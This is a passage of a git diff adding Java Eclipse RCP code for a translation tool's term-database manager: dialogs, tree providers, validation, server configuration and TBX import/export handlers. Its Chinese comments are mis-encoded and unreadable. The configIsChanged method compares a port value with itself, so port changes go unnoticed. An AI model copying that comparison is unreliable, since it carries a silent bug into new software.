@param element + * must be an instance of IPreferenceNode. + * @see org.eclipse.jface.viewers.ILabelProvider#getText(java.lang.Object) + */ + public String getText(Object element) { + if (element instanceof String) { + String dbType = (String) element; + if (dbType.equals(Constants.DBTYPE_MYSQL)) { + dbType = Constants.DBTYPE_MYSQL_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_MSSQL2005)) { + dbType = Constants.DBTYPE_MSSQL2005_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_SQLITE)) { + dbType = Messages.getString("dialog.db.recommend"); + } + return dbType; + } else { + DatabaseModelBean bean = (DatabaseModelBean) element; + StringBuffer urlStr = new StringBuffer(); + if (bean.getDbType().equals(Constants.DBTYPE_INTERNALDB) + || bean.getDbType().equals(Constants.DBTYPE_SQLITE)) { + urlStr.append(bean.getItlDBLocation()); + } else { + urlStr.append(bean.getHost()); + urlStr.append(":"); + urlStr.append(bean.getPort()); + if (bean.getInstance() != null && !bean.getInstance().equals("")) { + urlStr.append("/"); + urlStr.append(bean.getInstance()); + } + } + return urlStr.toString(); + } + } + + /** + * @param element + * must be an instance of String or DatabaseModelBean. + * @see org.eclipse.jface.viewers.ILabelProvider#getImage(java.lang.Object) + */ + public Image getImage(Object element) { + if (element instanceof String) { + String dbtype = (String) element; + if (dbtype.equals(Constants.DBTYPE_INTERNALDB)) { + return internalDbImg; + } else if (dbtype.equals(Constants.DBTYPE_MYSQL)) { + return mySqlImg; + } else if (dbtype.equals(Constants.DBTYPE_MSSQL2005)) { + return sqlServerImg; + } else if (dbtype.equals(Constants.DBTYPE_POSTGRESQL)) { + return postgreImg; + } else if (dbtype.equals(Constants.DBTYPE_Oracle)) { + return oracleImg; + } else if (dbtype.equals(Constants.DBTYPE_SQLITE)) { + return sqliteImg; + } else { + return null; + } + } else if (element instanceof DatabaseModelBean) { + return ipImg; + } else { + return null; + } + } + } + + /** + * The TreeViewer content provider + * @author Jason + * @version + * @since JDK1.6 + */ + class TreeContentProvider implements ITreeContentProvider { + + private Map> map; + + public void dispose() { + + } + + @SuppressWarnings("unchecked") + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + this.map = (Map>) newInput; + } + + public Object[] getElements(Object inputElement) { + List t = new ArrayList(map.keySet()); + int size = t.size(); + Object[] temp = new Object[size]; + if (t.contains(Constants.DBTYPE_INTERNALDB)) { + temp[size - 1] = Constants.DBTYPE_INTERNALDB; + } + if (t.contains(Constants.DBTYPE_MYSQL)) { + temp[size - 5] = Constants.DBTYPE_MYSQL; + } + if (t.contains(Constants.DBTYPE_MSSQL2005)) { + temp[size - 4] = Constants.DBTYPE_MSSQL2005; + } + if (t.contains(Constants.DBTYPE_POSTGRESQL)) { + temp[size - 2] = Constants.DBTYPE_POSTGRESQL; + } + if (t.contains(Constants.DBTYPE_Oracle)) { + temp[size - 3] = Constants.DBTYPE_Oracle; + } + if(t.contains(Constants.DBTYPE_SQLITE)){ + temp[0] = Constants.DBTYPE_SQLITE; + } + return temp; + } + + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof String) { + String dbType = (String) parentElement; + List servers = map.get(dbType); + Collections.sort(servers, new Comparator() { + + public int compare(DatabaseModelBean o1, DatabaseModelBean o2) { + return o1.getHost().compareTo(o2.getHost()); + } + }); + return servers.toArray(); + } + return null; + } + + public Object getParent(Object element) { + return null; + } + + public boolean hasChildren(Object element) { + if (element instanceof String) { + if (map.get(element).size() != 0) { + return true; + } + } + return false; + } + + } + + /** + * åˆå§‹åŒ–æ•°æ®ç»‘定 将界é¢ä¸ŽcurrServer进行绑定 + * @return ; + */ + protected void initDataBindings() { + DataBindingContext bindingContext = new DataBindingContext(); + + IObservableValue widgetValue = WidgetProperties.text(SWT.Modify).observe(instanceText); + final IObservableValue instanceModelValue = BeanProperties.value("instance").observe(currServer); + bindingContext.bindValue(widgetValue, instanceModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(hostText); + final IObservableValue hostModelValue = BeanProperties.value("host").observe(currServer); + bindingContext.bindValue(widgetValue, hostModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(portText); + final IObservableValue protModelValue = BeanProperties.value("port").observe(currServer); + bindingContext.bindValue(widgetValue, protModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(locationText); + final IObservableValue locationModelValue = BeanProperties.value("itlDBLocation").observe(currServer); + bindingContext.bindValue(widgetValue, locationModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(usernameText); + final IObservableValue usernameModelValue = BeanProperties.value("userName").observe(currServer); + bindingContext.bindValue(widgetValue, usernameModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(passwordText); + final IObservableValue passwordModelValue = BeanProperties.value("password").observe(currServer); + bindingContext.bindValue(widgetValue, passwordModelValue, null, null); + + ViewerSupport.bind(dbTableViewer, currServerdbListInput, + BeanProperties.values(new String[] { "index", "dbName", "langs" })); + + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("dialog.TermDbManagerDialog.clmnTitles1"), + Messages.getString("dialog.TermDbManagerDialog.clmnTitles2"), + Messages.getString("dialog.TermDbManagerDialog.clmnTitles3") }; + int[] clmnBounds = { 50, 100, 100 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getIndex(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getDbName(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getLangs(); + } + }); + + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + + } + + /** + * 输入验è¯å™¨ ; + */ + private IStatus validator() { + String instance = currServer.getInstance(); + String host = currServer.getHost(); + String port = currServer.getPort(); + String location = currServer.getItlDBLocation(); + String username = currServer.getUserName(); + MetaData dbMetaData = dbMetaDataMap.get(currServer.getDbType()); + if (dbMetaData.dataPathSupported()) { + File f = new File(location); + if (location == null || location.trim().length() == 0) { + if (dbMetaData.getDbType().equals(Constants.DBTYPE_INTERNALDB)) { + return ValidationStatus.error(Messages.getString("dialog.TermDbManagerDialog.msg5")); + } else if (dbMetaData.getDbType().equals(Constants.DBTYPE_SQLITE)) { + return ValidationStatus.error(Messages.getString("dialog.TermDbManagerDialog.msg11")); + } + } else if (!f.exists()) { + return ValidationStatus.error(Messages.getString("dialog.TermDbManagerDialog.msg12")); + } + } + if (dbMetaData.serverNameSupported()) { + if (host == null || host.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TermDbManagerDialog.msg6")); + } + } + if (dbMetaData.portSupported()) { + if (port == null || port.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TermDbManagerDialog.msg7")); + } + } + if (dbMetaData.userNameSupported()) { + if (username == null || username.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TermDbManagerDialog.msg8")); + } + } + + if (dbMetaData.instanceSupported()) { + if (instance == null || instance.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TermDbManagerDialog.msg9")); + } + } + + return ValidationStatus.ok(); + } + + /** + * 检查当å‰é…置是å¦å‘ç”Ÿäº†æ”¹å˜ + * @param list + * @param b + * @param metaData + * @return ; + */ + private DatabaseModelBean configIsChanged(List list, DatabaseModelBean b, MetaData metaData) { + for (int i = 0; i < list.size(); i++) { + DatabaseModelBean a = list.get(i); + if (a.getId().equals(b.getId())) { + if (metaData.dataPathSupported()) { + if (!a.getItlDBLocation().equals(b.getItlDBLocation())) { + return a; + } + } else { + if (!a.getHost().equals(b.getHost()) || !a.getPort().equals(a.getPort())) { + return a; + } + if (metaData.instanceSupported()) { + if (!a.getInstance().equals(b.getInstance())) { + return a; + } + } + if (metaData.userNameSupported()) { + if (!a.getUserName().equals(b.getUserName()) || !a.getPassword().equals(b.getPassword())) { + return a; + } + } + } + return null; + } + } + return null; + } + + /** + * 将当å‰æ“作的æœåŠ¡å™¨é…置信æ¯æ·»åŠ åˆ°é…置文件中
    + * 在添加å‰,先判断该æœåŠ¡å™¨æ˜¯å¦å·²ç»å­˜åœ¨,如果已ç»å­˜åœ¨åˆ™æ›´æ–° + * @param currServer + * 需è¦å¤„ç†çš„é…ç½®ä¿¡æ¯ + * @param currDbTypeServers + * 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨,用于显示在界é¢ä¸Š; + */ + private void addServerWithExistCheck(DatabaseModelBean currServer, List currDbTypeServers) { + DatabaseModelBean bean = currServer.copyToOtherIntance(new DatabaseModelBean()); + String existSerId = configer.isServerExist(bean, getCurrDbMetaData()); + if (existSerId != null && !existSerId.equals("")) { // 当å‰æœåŠ¡å™¨é…置信æ¯å·²ç»å­˜åœ¨ + + if (!bean.getId().equals(existSerId)) { + configer.deleteServerById(bean.getId()); + for (DatabaseModelBean temp : currDbTypeServers) { + if (temp.getId().equals(bean.getId())) { + currDbTypeServers.remove(temp); + break; + } + } + } + bean.setId(existSerId); + currServer.setId(existSerId); + updateServer(bean, currDbTypeServers); + + return; + } + configer.addServerConfig(bean); + currDbTypeServers.add(bean); + setLastSelectedServer(bean.getId()); + } + + /** + * 更新当å‰æ“作的æœåŠ¡å™¨é…置信æ¯åˆ°é…置文件中 + * @param currServer + * 需è¦å¤„ç†çš„æœåŠ¡å™¨é…ç½®ä¿¡æ¯ + * @param currDbTypeServers + * 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨,用于显示在界é¢ä¸Š; + */ + private void updateServer(DatabaseModelBean currServer, List currDbTypeServers) { + MetaData metaDataWithCheck = dbMetaDataMap.get(currServer.getDbType()); + DatabaseModelBean hasChanged = configIsChanged(currDbTypeServers, currServer, metaDataWithCheck); + if (hasChanged != null) { + currServer.copyToOtherIntance(hasChanged); + configer.updateServerConfigById(hasChanged.getId(), hasChanged); + } + setLastSelectedServer(currServer.getId()); + } + + /** + * 设置最åŽé€‰ä¸­çš„æœåŠ¡å™¨ + * @param serverId + * ; + */ + private void setLastSelectedServer(String serverId) { + lastSelectedServerId = serverId; + } + + /** + * 获最åŽé€‰ä¸­çš„æœåŠ¡å™¨ + * @return ; + */ + private String getLastSelectedServer() { + return lastSelectedServerId; + } + + /** + * 获å–当å‰æ“作的数æ®åº“类型 + * @return ; + */ + private String getCurrDbType() { + return currDbType; + } + + /** + * 设置当å‰æ“作的数æ®åº“类型 + * @param dbType + * 当å‰æ“作的数æ®åº“类型 ; + */ + private void setCurrDbType(String dbType) { + currDbType = dbType; + } + + /** + * 获å–当å‰æ•°æ®åº“ç±»åž‹çš„å…ƒæ•°æ® + * @return ; + */ + protected MetaData getCurrDbMetaData() { + return dbMetaDataMap.get(getCurrDbType()); + } + + /** + * 当选择数æ®åº“类型节点时,é‡ç½®æ‰€æœ‰è¾“å…¥ ; + */ + private void resetInputValue() { + MetaData metaData = dbMetaDataMap.get(getCurrDbType()); + currServer.setId(""); + currServer.setDbType(metaData.getDbType()); + + currServer.setItlDBLocation(""); + if (metaData.dataPathSupported()) { + currServer.setItlDBLocation(metaData.getDataPath()); + } + currServer.setHost(""); + if (metaData.serverNameSupported()) { + currServer.setHost(metaData.getServerName()); + } + currServer.setInstance(""); + if (metaData.instanceSupported()) { + currServer.setInstance(metaData.getInstance()); + } + + currServer.setPort(""); + if (metaData.portSupported()) { + currServer.setPort(metaData.getPort()); + } + currServer.setUserName(""); + if (metaData.userNameSupported()) { + currServer.setUserName(metaData.getUserName()); + } + + currServer.setPassword(""); + if (metaData.passwordSupported()) { + currServer.setPassword(metaData.getPassword()); + } + } + + /** + * æ ¹æ®å½“å‰æ“作ä¸åŒçš„æ•°æ®åº“类型,åˆå§‹åŒ–ç•Œé¢ ; + */ + private void initUI(boolean isAdd) { + MetaData curDbMetaData = dbMetaDataMap.get(getCurrDbType()); + + if (!isAdd) { + Control[] childrens = locationText.getParent().getChildren(); + for (Control c : childrens) { + if (!(c instanceof Composite)) { + if (c instanceof Text || c instanceof Button) { + c.setEnabled(false); + } + } else { + Composite com = (Composite) c; + Control[] ch = com.getChildren(); + for (Control chl : ch) { + if (c instanceof Text || c instanceof Button) { + chl.setEnabled(false); + } + } + } + } + } else { + if (curDbMetaData.dataPathSupported()) { + locationText.setEnabled(true); + borwserBtn.setEnabled(true); + } else { + locationText.setEnabled(false); + borwserBtn.setEnabled(false); + } + + if (curDbMetaData.serverNameSupported()) { + hostText.setEnabled(true); + } else { + hostText.setEnabled(false); + } + + if (curDbMetaData.instanceSupported()) { + instanceText.setEnabled(true); + } else { + instanceText.setEnabled(false); + } + + if (curDbMetaData.portSupported()) { + portText.setEnabled(true); + } else { + portText.setEnabled(false); + } + + if (curDbMetaData.userNameSupported()) { + usernameText.setEnabled(true); + } else { + usernameText.setEnabled(false); + } + + if (curDbMetaData.passwordSupported()) { + passwordText.setEnabled(true); + } else { + passwordText.setEnabled(false); + } + } + } + + private List searchCurrServerDatabase(SystemDBOperator sysDbOp, + DatabaseModelBean currServer) { + List temp = new ArrayList(); + // 检查是å¦åˆ›å»ºäº†ç³»ç»Ÿåº“ + if (!sysDbOp.checkSysDb()) { + // MessageDialog.openInformation(getShell(), "æ示信æ¯", + // "当å‰æœåŠ¡å™¨ä¸Šæ²¡æœ‰åˆ›å»ºä»»ä½•åº“"); + setLastSelectedServer(null); + return null; + } + + // 检查是å¦åˆ›å»ºäº†åº“ + List dbNames = sysDbOp.getSysDbNames(Constants.DB_TYPE_TB); + if (dbNames.size() == 0) { + // MessageDialog.openInformation(getShell(), "æ示信æ¯", + // "当å‰æœåŠ¡å™¨ä¸Šæ²¡æœ‰åˆ›å»ºä»»ä½•åº“"); + setLastSelectedServer(null); + return null; + } + + // 获å–æ•°æ®åº“相关资料,å°è£…了库å称和语言 + MetaData metaData = currServer.toDbMetaData(); + DBOperator dbop = DatabaseService.getDBOperator(metaData); + for (int i = 0; i < dbNames.size(); i++) { + DatabaseManagerDbListBean bean = new DatabaseManagerDbListBean(); + String dbName = dbNames.get(i); + bean.setIndex(i + 1 + ""); + bean.setDbName(dbName); + metaData.setDatabaseName(dbName); + dbop.setMetaData(metaData); + String lang = ""; + try { + dbop.start(); + List langs = dbop.getLanguages(); + for (int j = 0; j < langs.size(); j++) { + lang += langs.get(j); + if (j != langs.size() - 1) { + lang += ","; + } + } + } catch (Exception e1) { + logger.error("", e1); + continue; + } finally { + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + logger.error("", e); + } + } + if (lang.equals("")) { + bean.setLangs(Messages.getString("dialog.TermDbManagerDialog.msg10")); + } else { + bean.setLangs(lang); + } + temp.add(bean); + } + return temp; + } + + /** + * 执行查询 + * @param sysDbOp + * ; + */ + private void executeSearch(final SystemDBOperator sysDbOp) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TermDbManagerDialog.msgTitle"), + Messages.getString("dialog.TermDbManagerDialog.msg1")); + setLastSelectedServer(null); + return; + } + + // 获å–æ•°æ®åº“ä¿¡æ¯,包括å称和语言 + List temp = searchCurrServerDatabase(sysDbOp, currServer); + + currServerdbListInput.clear(); + if (temp != null) { + currServerdbListInput.addAll(temp); + if (temp.size() > 0) { + getDbTableViewer().setSelection(new StructuredSelection(temp.get(0))); + } + setLastSelectedServer(currServer.getId()); + } + } + }); + } + + /** + * 创建新库 ; + */ + private void createNewDatabase() { + // æ•°æ®åº“连接å‚数输入åˆæ³•æ€§æ£€æŸ¥ + IStatus status = validator(); + if (status.getSeverity() != IStatus.OK) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TermDbManagerDialog.msgTitle"), + status.getMessage()); + return; + } + SystemDBOperator sysDbOp = getCurrSysDbOp(); + + if (sysDbOp == null) { + return; + } + + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TermDbManagerDialog.msgTitle"), + Messages.getString("dialog.TermDbManagerDialog.msg1")); + return; + } + + TermDbNameInputDialog inputDbNameialog = new TermDbNameInputDialog(getShell(), + Messages.getString("dialog.TermDbManagerDialog.inputDbNameialogTitle"), + Messages.getString("dialog.TermDbManagerDialog.inputDbNameialogMsg"), "", new IInputValidator() { + public String isValid(String newText) { + String vRs = DbValidator.valiateDbName(newText); + return vRs; + } + }); + inputDbNameialog.setSystemDbOp(sysDbOp); + if (inputDbNameialog.open() == Window.OK) { + executeSearch(sysDbOp); // åˆ·æ–°ç•Œé¢ + } + } + + /** key-æ•°æ®åº“çš„æ•°æ®åº“å°è£…,value-库中的语言 */ + private Map hasSelected; + + /** + * 当使用该对è¯æ¡†ä½œä¸ºæ•°æ®åº“选择时 ; + */ + private void executeSelectDatabase() { + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + hasSelected = new HashMap(); + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + + Iterator it = structuredSelection.iterator(); + while (it.hasNext()) { + DatabaseManagerDbListBean dbBean = (DatabaseManagerDbListBean) it.next(); + DatabaseModelBean dbModelBean = new DatabaseModelBean(); + currServer.copyToOtherIntance(dbModelBean); + dbModelBean.setDbName(dbBean.getDbName()); + hasSelected.put(dbModelBean, dbBean.getLangs()); + } + } + + protected void okPressed() { + if (getDialogUseFor() == TYPE_DBSELECTED) { + executeSelectDatabase(); + } + super.okPressed(); + } + + @Override + public boolean close() { + if (internalDbImg != null && !internalDbImg.isDisposed()) { + internalDbImg.dispose(); + } + if (mySqlImg != null && !mySqlImg.isDisposed()) { + mySqlImg.dispose(); + } + if (oracleImg != null && !oracleImg.isDisposed()) { + oracleImg.dispose(); + } + if (sqlServerImg != null && !sqlServerImg.isDisposed()) { + sqlServerImg.dispose(); + } + if (postgreImg != null && !postgreImg.isDisposed()) { + postgreImg.dispose(); + } + if (ipImg != null && !ipImg.isDisposed()) { + ipImg.dispose(); + } + if (sqliteImg != null && !sqliteImg.isDisposed()) { + sqliteImg.dispose(); + } + return super.close(); + } + + /** + * 获å–当å‰é€‰æ‹©çš„库 + * @return ; + */ + public Map getHasSelectedDatabase() { + if (hasSelected != null) { + return hasSelected; + } else { + return new HashMap(); + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermDbNameInputDialog.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermDbNameInputDialog.java new file mode 100644 index 0000000..b6afae5 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermDbNameInputDialog.java @@ -0,0 +1,100 @@ +/** + * DatabaseNameInputDialog.java + * + * Version information : + * + * Date:Dec 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.dialog; + +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.eclipse.jface.dialogs.IInputValidator; +import org.eclipse.jface.dialogs.InputDialog; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 用于创建数æ®åº“时,输入数æ®åº“å称 + * @author Jason + * @version + * @since JDK1.6 + */ +public class TermDbNameInputDialog extends InputDialog { + + private Logger logger = LoggerFactory.getLogger(TermDbNameInputDialog.class); + private SystemDBOperator dbop; + + public TermDbNameInputDialog(Shell parentShell, String dialogTitle, String dialogMessage, String initialValue, + IInputValidator validator) { + super(parentShell, dialogTitle, dialogMessage, initialValue, validator); + } + + public SystemDBOperator getSystemDbOp() { + return this.dbop; + } + + public void setSystemDbOp(SystemDBOperator dbop) { + this.dbop = dbop; + } + + @Override + protected void okPressed() { + SystemDBOperator dbop = getSystemDbOp(); + createNewDatabase(dbop, super.getValue()); + if(getReturnCode() == 2){ + super.okPressed(); + } + } + + private void createNewDatabase(final SystemDBOperator sysDbOp, final String dbName) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + + // 检查是å¦åˆ›å»ºäº†ç³»ç»Ÿåº“,没创建则创建 + if (!sysDbOp.checkSysDb()) { + try { + sysDbOp.createSysDb(); + } catch (Exception e) { + logger.error(Messages.getString("dialog.TermDbNameInputDialog.logger1"), e); + setReturnCode(1); + setErrorMessage(Messages.getString("dialog.TermDbNameInputDialog.msg1")); + return; + } + } + + sysDbOp.getMetaData().setDatabaseName(dbName); + if (sysDbOp.checkDbExistOnServer()) { + setReturnCode(1); + setErrorMessage(Messages.getString("dialog.TermDbNameInputDialog.msg2")); + return; + } + + try { + if (Constants.FAILURE == sysDbOp.createDB()) { + setReturnCode(1); + logger.error(Messages.getString("dialog.TermDbNameInputDialog.logger2")); + setErrorMessage(Messages.getString("dialog.TermDbNameInputDialog.msg1")); + return; + } + sysDbOp.updataSysDb(Constants.DB_TYPE_TB); + setReturnCode(2); + } catch (Exception e) { + setReturnCode(1); + logger.error(Messages.getString("dialog.TermDbNameInputDialog.logger2"), e); + setErrorMessage(Messages.getString("dialog.TermDbNameInputDialog.msg1")); + return; + } + } + }); + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/ExportTbxHandler.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/ExportTbxHandler.java new file mode 100644 index 0000000..1692209 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/ExportTbxHandler.java @@ -0,0 +1,40 @@ +/** + * ExportTbxHandler.java + * + * Version information : + * + * Date:2012-5-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.handler; + +import net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ExportTbxHandler extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + SystemResourceUtil.load(); + ExportTbxDialog dialog = new ExportTbxDialog(HandlerUtil.getActiveShell(event)); + dialog.open(); + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/ImportTbxHandler.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/ImportTbxHandler.java new file mode 100644 index 0000000..2b99ff6 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/ImportTbxHandler.java @@ -0,0 +1,97 @@ +/** + * ImportTbxHandler.java + * + * Version information : + * + * Date:Dec 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.handler; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.ui.tb.wizard.TermDbManagerImportWizard; +import net.heartsome.cat.database.ui.tb.wizard.TermDbManagerImportWizardDialog; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ImportTbxHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + SystemResourceUtil.load(); + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + TermDbManagerImportWizard wizard = new TermDbManagerImportWizard(); + TermDbManagerImportWizardDialog dlg = new TermDbManagerImportWizardDialog(window.getShell(), wizard) { + // robert help 2012-09-06 + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 导入TBX + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s03.html#create-tb-wizard-import-tbx", language); + + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData( + GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), + SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + }; + dlg.setHelpAvailable(true); + dlg.open(); + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/NewTBHandler.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/handler/NewTBHandler.java new file mode 100644 index 0000000..15ef8d0 --- 